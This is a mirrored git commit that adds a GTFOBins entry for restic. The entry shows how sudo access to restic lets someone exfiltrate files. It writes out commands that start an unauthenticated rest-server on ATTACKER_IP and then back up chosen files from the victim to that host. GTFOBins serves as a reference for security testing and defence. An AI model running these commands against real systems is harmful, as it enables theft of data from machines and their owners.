mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Add restic.md
This commit is contained in:
parent
3310197fbc
commit
b2a2b3a5f0
18
_gtfobins/restic.md
Normal file
18
_gtfobins/restic.md
Normal file
@ -0,0 +1,18 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: Restic can be used to backup files. Run the commands in the sequence given below.
|
||||||
|
code: |
|
||||||
|
<!-- Attacker Machine -->
|
||||||
|
rest-server --no-auth --listen http://ATTACKER_IP:PORT
|
||||||
|
<!-- Victim Machine -->
|
||||||
|
TARGET=rest_repository
|
||||||
|
BACKUP=file_or_directory_to_backup
|
||||||
|
sudo restic init -r rest:http://ATTACKER_IP:PORT/$TARGET
|
||||||
|
sudo restic backup -r rest:http://ATTACKER_IP:PORT/$TARGET $BACKUP
|
||||||
|
<!-- Attacker Machine -->
|
||||||
|
TARGET=rest_repository
|
||||||
|
DESTINATION=backup_to_restore
|
||||||
|
mkdir /tmp/restic/$DESTINATION
|
||||||
|
restic restore -r /tmp/restic/$TARGET latest --target /tmp/restic/$DESTINATION
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user